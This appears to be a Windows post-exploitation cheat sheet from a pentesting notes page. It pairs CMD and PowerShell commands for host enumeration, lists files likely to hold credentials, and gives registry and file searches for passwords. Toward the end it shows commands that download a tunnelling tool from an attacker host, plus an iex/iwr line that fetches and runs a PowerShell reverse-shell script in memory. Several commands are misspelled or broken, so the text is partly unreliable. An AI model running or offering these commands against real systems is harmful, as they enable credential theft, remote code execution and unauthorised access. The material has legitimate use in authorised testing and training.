Commands
To understand Powershell working and commands formation do checkout
Commands used in post exploitation for CMD and Powershell variants
C: command for cmd
P: command for powershellSystem information
C: systeminfo
P: Get-ComputerInfoGrep
C: findstr
P: Select-String -Pattern "OS:"Piping
|
C: systeminfo | findstr "OS"
P: cat test.txt | Select-String -Pattern "OS"User name
C: whoami [or] echo %username%
P: $env:UserName Machine name
C: hostname
P: $env:DomainName [or] $env:ComputernameUsers
C: net user [or] net user /domain
P: Get-LocalUserInformation about the user
C: net user dnoscp
P: Get-LocalUser dnoscpGroups
C: net localgroup [or] net localgroup /domain
P: Get-LocalGroupGet Group members
C: net localgroup Administrators
P: Get-LocalGroupMember AdministratorsGet the network adapters
C: ipconfig [or] ipconfig /all
P: Get-NetAdapterRouting Table information
C: route print
P: Get-NetRouteOpen ports
C: netstat -ano -p TCP [or] netstat -ano -p UDP
P: Get-NetTCPConnectionScheduled Jobs
C: schtasks
P: Get-ScheduledTaskRunning Process
C: tasklist /svc
P: Get-ProcessStarting a service
C: net start Themes
P: Start-Process -FilePath "sort.exe" Installed Drivers
C: drivequery
P: Get-WindowsDriver -Online -AllLast upated information
C: wmic qfe get Caption, Description, InstalledOn, HotFixID
P: (New-Object -com "Microsoft.Update.AutoUpdate"). Results | flJuicy files location
C:\sysprep.inf
C:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
C:\Users\userName\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtFind files
C: dir /s /p /*.txt /*.xml
P: Get-ChildIten -Path . -Include *.txt,*xml -Recurse -File -Force -ErrorAction 'SilentlyContinue'Search for a string in a file
C: findstr /si "password" *.txt,*.xml
P: Get-ChildItem -Recurse . -Filter *.txt,*.xml | Select-String "password"Serch registry for passwords
reg query HKLM /f "password" /t REG_SZ /s
reg query HKCU /f "password" /t REG_SZ /sRunning Services
C: sc query
P: Get-Service [or] Get-Service | ? {$_.Status -eq "Running"}Information about the running processes
C: sc query "Spooler"
P: Get-Service "Spooler"Copy a file
C: copy source_location destination
P: Copy-Item source_location -Destination destinationMove a file
C: move source_location destination
P: Move-Item source_location -Destination destinationDownload a file
C: certutil -f -split -urlcache http://10.10.10.10/chisel.exe -outfile chisel.exe
P: Invoke-WebRequest -Uri http://10.10.10.10/chisel.exe -OutFile chisel.exe
P: (New-Object System.Net.Web.Client).DownloadFile("http://10.10.10.10/chisel.exe". "chisel.exe")Exeucte powershell scripts directly from the memory
P: Invoke-Expression(Invoke-WebRequest -Uri "http://10.10.10.10/PowerShellReverseTCP.ps1" -UseBasicParsing)
# Can be aliased as
iex(iwr -uri "http://10.10.10.10/PowerShellReverseTCP.ps1" -usebasicparsing)Last updated
Was this helpful?